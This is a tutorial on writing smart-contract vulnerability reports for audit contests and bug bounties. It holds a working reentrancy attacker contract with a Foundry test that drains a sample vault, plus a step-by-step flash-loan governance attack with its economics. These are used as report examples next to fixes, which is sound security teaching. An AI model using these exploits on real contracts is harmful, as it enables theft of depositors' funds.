Writing Vulnerability Reports
Finding a vulnerability is only half the work. A poorly written report loses money — judges downgrade severity for vague impact descriptions, reject findings without a PoC, or mark valid issues as duplicates because the writer failed to distinguish their root cause analysis. The best auditors in the field write with the same care they bring to the technical work. This lesson shows you exactly how to write reports that judges reward and protocols take seriously.
In a competitive audit with 200 participants, a median High finding might be submitted by 15 different auditors. The auditor who wrote the clearest impact statement, the most copy-pasteable PoC, and the most actionable mitigation recommendation earns the most — even if their technical analysis is identical to a lower-ranked submission. Report quality is a first-class skill.
Standard Report Structure
| Section | Purpose | Length | Common Mistakes |
|---|---|---|---|
| Title | One-line summary of the vulnerability | 1 line | Too vague ("Reentrancy") or too long |
| Severity | Critical / High / Medium / Low / Info | 1 word + justification | Overclaiming or underclaiming severity |
| Summary | 2-3 sentence executive summary for non-technical readers | 3-5 sentences | Too technical, assumes full context |
| Vulnerability Detail | Technical explanation with code references | 1-3 paragraphs + code | Just code, no explanation; or explanation without code |
| Impact | Specific, quantified harm to specific parties | 2-4 sentences | Generic ("funds may be at risk") |
| Proof of Concept | Working test that demonstrates the vulnerability | Code block | Non-running PoC, requires setup not provided |
| Recommended Mitigation | Concrete fix, ideally with code | 1-2 paragraphs + code | Vague ("add more checks"), no code |
Severity Classification
// Severity = f(Likelihood, Impact, Prerequisites)
// CRITICAL: Direct loss of funds, no special prerequisites
// Any user can call a single function and drain all ETH from the contract
// Examples: unprotected withdraw(), missing reentrancy guard on vault
// HIGH: Significant loss, some conditions or limited impact
// Examples:
// - Loss of funds requires attacker to already hold 10+ ETH (some capital)
// - Loss affects only users who interact during specific time window
// - No direct loss, but complete loss of protocol functionality
// - Governance can be hijacked (requires governance token, not direct theft)
// MEDIUM: Indirect loss, limited conditions, or partial impact
// Examples:
// - Oracle staleness: affects protocol only if Chainlink goes down (low probability)
// - Missing slippage: user-side loss, requires no action from attacker
// - DoS: can be triggered but has a workaround
// - Loss is <1% of TVL under normal conditions
// LOW / INFORMATIONAL: Best practice violations, no direct loss path
// Examples:
// - Missing events on critical state changes
// - Incorrect NatSpec documentation
// - Centralization risk (admin can do X) — documented but accepted
// - Gas optimization opportunities
// Severity Matrix:
// Impact → High Medium Low
// Likelihood ↓
// High Critical High Medium
// Medium High Medium Low
// Low Medium Low Informational
Writing the Impact Statement
The most common mistake in vulnerability reports is a vague impact statement. "Funds may be at risk," "this could lead to loss," and "the protocol could be exploited" are all meaningless. Judges read hundreds of reports — vague language signals a lack of understanding and leads to downgraded severity. Be specific: who loses what, how much, under what conditions, in how many transactions.
// ❌ VAGUE: Do not write this
// "An attacker could potentially exploit this vulnerability to cause loss of funds.
// This poses a significant risk to the protocol and its users."
// ✅ SPECIFIC: Write this instead
// "Any external attacker can drain the entire USDC balance of the Vault contract
// (currently $4.2M) in a single transaction by calling withdraw() with a malicious
// contract that reenters the function before the balance is updated. No special
// role or capital is required — only a deployment of the attacker contract.
// The attack is fully atomic and leaves the victim with no recourse."
// ❌ VAGUE: "Oracle could return wrong price"
// ✅ SPECIFIC: "If the Chainlink ETH/USD feed goes stale (which occurred
// on March 9, 2020 during Black Thursday), the protocol continues accepting
// the last reported price. If the real price has fallen 20% while the stale
// price remains, borrowers can withdraw collateral whose true value is
// insufficient to cover their debt, creating up to $2M in bad debt at
// current TVL levels."
Writing a Complete Finding: Full Example
// ============================================================
// TITLE: Reentrancy in Vault.withdraw() allows draining all ETH
// SEVERITY: Critical
// ============================================================
// == SUMMARY ==
// The withdraw() function in Vault.sol sends ETH to the caller before
// updating the user's balance. A malicious caller can reenter withdraw()
// via their receive() function before their balance is decremented,
// allowing them to drain the vault's entire ETH balance.
// == VULNERABILITY DETAIL ==
// In Vault.sol line 145-152, the withdraw() function violates the
// Checks-Effects-Interactions pattern:
// function withdraw(uint256 amount) external {
// require(balances[msg.sender] >= amount, "Insufficient"); // Check
// (bool success,) = msg.sender.call{value: amount}(""); // Interaction ← wrong order
// require(success, "Transfer failed");
// balances[msg.sender] -= amount; // Effect ← too late
// }
// The ETH transfer triggers receive() on the caller. If the caller is a
// malicious contract, receive() calls withdraw() again before balances
// is updated. The balance check passes again because balances[attacker]
// has not yet been decremented.
// == IMPACT ==
// An attacker with any balance in the vault can drain its entire ETH
// balance in one transaction. With the current vault TVL of 500 ETH,
// this represents a complete loss of ~$1M for all depositors. No admin
// intervention can prevent the attack once initiated. The attacker
// requires only a minimal initial deposit (1 wei) to trigger the exploit.
// == PROOF OF CONCEPT ==
contract ReentrancyAttacker {
Vault vault;
uint256 attackCount;
constructor(address _vault) { vault = Vault(_vault); }
function attack() external payable {
vault.deposit{value: 1 ether}();
vault.withdraw(1 ether);
}
receive() external payable {
if (attackCount < 10 && address(vault).balance >= 1 ether) {
attackCount++;
vault.withdraw(1 ether);
}
}
}
// Run: forge test --match-test testReentrancyDrain -vvvv
// Expected: attacker balance increases by 10x initial deposit
// == RECOMMENDED MITIGATION ==
// Apply the Checks-Effects-Interactions pattern and add a nonReentrant modifier:
//
// function withdraw(uint256 amount) external nonReentrant {
// require(balances[msg.sender] >= amount, "Insufficient"); // Check
// balances[msg.sender] -= amount; // Effect first
// (bool success,) = msg.sender.call{value: amount}(""); // Interaction last
// require(success, "Transfer failed");
// }
Writing the Proof of Concept
// Standard PoC test structure that judges love
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/Vault.sol";
contract VulnerabilityPoC is Test {
Vault vault;
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
function setUp() public {
vault = new Vault();
// Setup: victim deposits 10 ETH
vm.deal(victim, 10 ether);
vm.prank(victim);
vault.deposit{value: 10 ether}();
}
function testExploit_ReentrancyDrain() public {
// Setup attacker with minimal capital
vm.deal(attacker, 1 ether);
// Record state before attack
uint256 attackerBefore = attacker.balance;
uint256 vaultBefore = address(vault).balance;
emit log_named_uint("Vault before", vaultBefore);
emit log_named_uint("Attacker before", attackerBefore);
// Execute attack
vm.prank(attacker);
ReentrancyAttacker poc = new ReentrancyAttacker(address(vault));
poc.attack{value: 1 ether}();
// Assert: attacker profited, vault drained
emit log_named_uint("Vault after", address(vault).balance);
emit log_named_uint("Attacker after", address(poc).balance);
assertEq(address(vault).balance, 0, "Vault should be drained");
assertGt(address(poc).balance, vaultBefore, "Attacker should have all ETH");
}
}
// Expected output:
// Vault before: 10000000000000000000 (10 ETH)
// Vault after: 0
// Attacker after: 11000000000000000000 (11 ETH — original deposit + stolen 10)
Handling Duplicates in Competitive Audits
In competitive audits, the same vulnerability is often found by multiple auditors. To maximize your payout: (1) Identify the ROOT CAUSE precisely — is it a missing check, or a wrong assumption about token behavior? (2) Describe the impact more specifically than competitors. (3) Provide a more complete PoC. (4) Propose a better-quality mitigation. Judges select the "best" report in a duplicate group as the primary — that author gets the full reward. Others get a fraction.
Platform Differences: Immunefi vs Code4rena vs Sherlock
| Platform | Report Format | PoC Required? | Severity Who Decides | Payout Speed |
|---|---|---|---|---|
| Immunefi | Free-form + required sections, submitted to protocol | Yes, always (especially for Critical) | Protocol triages, Immunefi mediates disputes | 1-30 days |
| Code4rena | Markdown template with specific sections | Strongly recommended for High/Med | Judges (community) assess and sort duplicates | 2-6 weeks after contest |
| Sherlock | Markdown in GitHub repo format | Recommended; Sherlock judges use heavily | Sherlock's internal judge team | 2-4 weeks after contest |
| Cantina | Private report + markdown | Yes for High/Critical | Cantina security team + protocol | 2-4 weeks |
Writing Multiple Findings: Grouping Related Issues
// Grouping related findings:
// Same ROOT CAUSE in multiple places → usually one finding with multiple instances
// Example: Missing slippage on 3 different internal swap functions
// → One finding: "Missing slippage protection on internal swaps"
// → List all 3 affected functions as instances
// Separating related findings:
// Different ROOT CAUSES that happen to be in the same area → separate findings
// Example: In the oracle code:
// Finding A: Missing staleness check (oracle could be hours old)
// Finding B: Missing circuit breaker check (price could be at Chainlink min)
// These are DIFFERENT bugs with different fixes → separate findings
// How judges handle grouping:
// Code4rena: judge decides if instances are "duplicates" of your finding
// Sherlock: if you find 3 instances and only report 1, you may miss 2 rewards
// → Always list all instances, even if in one report
// Example: Well-structured multi-instance finding
// TITLE: Missing slippage protection allows sandwich attacks on protocol swaps
// AFFECTED FUNCTIONS:
// 1. Vault.rebalance() — line 234
// 2. Strategy._harvest() — line 891
// 3. LiquidityManager.buyLiquidity() — line 445
// SEVERITY: High (each individual function puts significant funds at risk)
Report Writing for Immunefi Bug Bounties
// Immunefi reports go directly to the PROTOCOL (not a public competition)
// This changes the tone and requirements significantly
// Immunefi report sections:
// 1. Title (one line)
// 2. Description (2-3 paragraphs, technical but readable by developers)
// 3. Impact (specific dollar amount and conditions)
// 4. Attack scenario (step-by-step attacker actions)
// 5. Proof of concept (Foundry test OR mainnet simulation link)
// 6. Remediation (specific code change recommendation)
// 7. Severity self-assessment: Critical/High/Medium/Low
// Critical differences from contest reports:
// - Protocol team will try to DISMISS your finding to avoid paying
// - Your PoC must be UNDENIABLE — no room for "maybe this is by design"
// - Provide mainnet transaction simulation if possible (Tenderly fork)
// - Describe the economic incentive for the attack clearly
// - If Critical: the impact dollar amount should match the bounty cap
// Immunefi dispute process:
// Protocol triages → accepts or disputes → Immunefi mediates disputes
// Keep all evidence: screenshots, transaction hashes, test output
// Do not disclose publicly while bounty is open — follow responsible disclosure
Bad Report vs Good Report: Side by Side
| Section | Bad Report | Good Report |
|---|---|---|
| Title | "Reentrancy vulnerability" | "Reentrancy in Vault.withdraw() allows draining entire ETH balance" |
| Severity | "Critical" with no justification | "Critical — no prerequisites, any EOA can drain funds in one transaction" |
| Summary | "There is a reentrancy bug that allows theft" | "The withdraw() function violates CEI: ETH is sent before balance is updated. A malicious contract recipient can reenter withdraw() and drain the vault before their balance decrements." |
| Impact | "Funds may be lost" | "Any attacker with 1 wei of balance can drain 100% of vault ETH (currently 500 ETH / $1M) in one transaction" |
| PoC | Pseudocode that does not compile | Full Foundry test that runs with forge test -vvvv and produces readable output |
| Mitigation | "Add a reentrancy guard" | Exact code diff: move balance update before the ETH transfer + add nonReentrant modifier |
Writing Economic Attack Reports
Economic attacks — oracle manipulation, governance attacks, price impact exploits — are harder to write clearly than simple code bugs because the vulnerability is not a single line of code, but rather an incentive structure. Judges who do not deeply understand DeFi mechanics may struggle to evaluate them. Your report must guide the judge from premise to conclusion, step by step.
// Economic attack report: Different from a simple code bug
// ============================================================
// TITLE: Flash loan governance attack allows passing any proposal instantly
// SEVERITY: Critical
// ============================================================
// == BACKGROUND (for economic attacks, add this section) ==
// The protocol uses snapshot-at-vote-time governance: voting power is
// computed from the caller's token balance AT THE TIME of the castVote()
// call, not at proposal creation time. This is different from Governor
// Bravo, which uses a historical snapshot (getPriorVotes).
// == VULNERABILITY DETAIL ==
// Because governance weight is measured at vote time, an attacker can:
// 1. Flash borrow 51% of governance tokens from any lending market
// 2. Call castVote(proposalId, For) — voting power = 51% of supply
// 3. Proposal passes quorum instantly
// 4. Repay flash loan
// Total cost: flash loan fee (usually 0.09% of borrowed amount)
// == ATTACK ECONOMICS ==
// Required capital: $0 (flash loan covers it)
// Cost: 0.09% flash loan fee = ~$9K on $10M borrowed
// Maximum extractable value: 100% of protocol treasury ($50M)
// Profit: $50M - $9K = ~$50M
// Attack makes economic sense as long as treasury > $9K
// == PROOF OF CONCEPT ==
// Note: Must demonstrate the full attack in one transaction
// Cannot use slow governance delay — use a forked test with vm.warp
// == RECOMMENDED MITIGATION ==
// Use historical voting power snapshots (ERC20Votes.getPriorVotes)
// snapshotted at proposal creation block, not at vote time.
// This makes flash loan attacks impossible because tokens must be held
// BEFORE the proposal was created.
Handling Judge Disputes
All competitive audit platforms allow auditors to dispute severity decisions. Disputes are won with evidence, not argument. If your Critical is downgraded to High, respond with: (1) the specific text of the platform's severity criteria that supports your classification, (2) an additional PoC demonstrating the impact, or (3) a reference to a real exploit with the same root cause and similar severity. Emotional or vague appeals are always rejected. Concrete evidence wins.
// ❌ BAD dispute: vague, emotional, no evidence
// "I disagree with the severity downgrade. This is clearly Critical
// because funds can be drained. The judge did not understand the issue
// properly. Please reconsider."
// ✅ GOOD dispute: evidence-based, cites criteria, adds new proof
// "Respectfully disputing Medium → High downgrade.
//
// Per Sherlock's judging criteria: 'A finding is High if it causes
// permanent loss of funds without extensive limitations.'
//
// The judge's rationale was 'requires admin error' — this is incorrect.
// As demonstrated in my PoC (forge test output attached), the attack
// requires zero admin interaction. The attacker calls rebalance()
// directly, which is a public function.
//
// Additional evidence: the Euler Finance exploit (March 2023) used
// the identical root cause (donateToReserves) and drained $197M.
// Euler's audit report classified this as Critical.
//
// Attached: updated PoC showing the attack with zero admin privileges."
The Private Audit Report Format
Private audit reports (delivered to paying clients) have a different format from competitive contest submissions. They are comprehensive documents covering the entire codebase — not individual findings submitted piecemeal. Understanding this format helps you transition from contests to private work.
| Component | Contest Report | Private Audit Report |
|---|---|---|
| Scope | Individual finding only | Full codebase coverage, all findings in one PDF |
| Executive Summary | Not included | Required — 1 page for non-technical stakeholders |
| Risk table | Not included | Summary table: N Critical, N High, N Medium, N Low |
| Acknowledgments | Not applicable | Protocol team acknowledges each finding (fixed/acknowledged/disputed) |
| Scope appendix | Not included | List of all files reviewed with commit hash |
| Methodology section | Not included | Explains your process (manual review + tools used) |
| Audience | Judge + other auditors | Protocol team, investors, general public |
| Tone | Technical, direct | Professional, collaborative — you are working WITH the team |
Create a personal report template that you reuse for every contest. Include: your standard section headers, your PoC test boilerplate, your severity justification phrases, and your mitigation code block format. A report you can fill in quickly is more valuable than a perfect template you spend an hour setting up for every submission. Keep a folder of your best past reports as examples to draw from when explaining complex issues.
Key Takeaways
- A vulnerability report has seven sections: Title, Severity, Summary, Vulnerability Detail, Impact, Proof of Concept, and Recommended Mitigation — all are required for a professional submission.
- Impact statements must be specific: name the exact asset, exact amount, exact parties affected, and exact number of transactions required to execute the attack.
- Your Foundry test IS your PoC — it should run with
forge testwith no additional setup beyond what the repo already provides. - Severity is determined by Likelihood × Impact — missing prerequisites (requires 1000 ETH, requires specific market condition) lower likelihood and therefore severity.
- Group findings by root cause; separate findings by different root causes even if they appear near each other in the code.
- In competitive audits, judges select the best report from a duplicate group for full payout — invest in clarity, not just correctness.
- Immunefi reports go directly to protocols that are motivated to dismiss — make your PoC undeniable with mainnet simulation links.
- Keep all your reports public after the contest ends — they become your portfolio and proof of work for future private audit opportunities.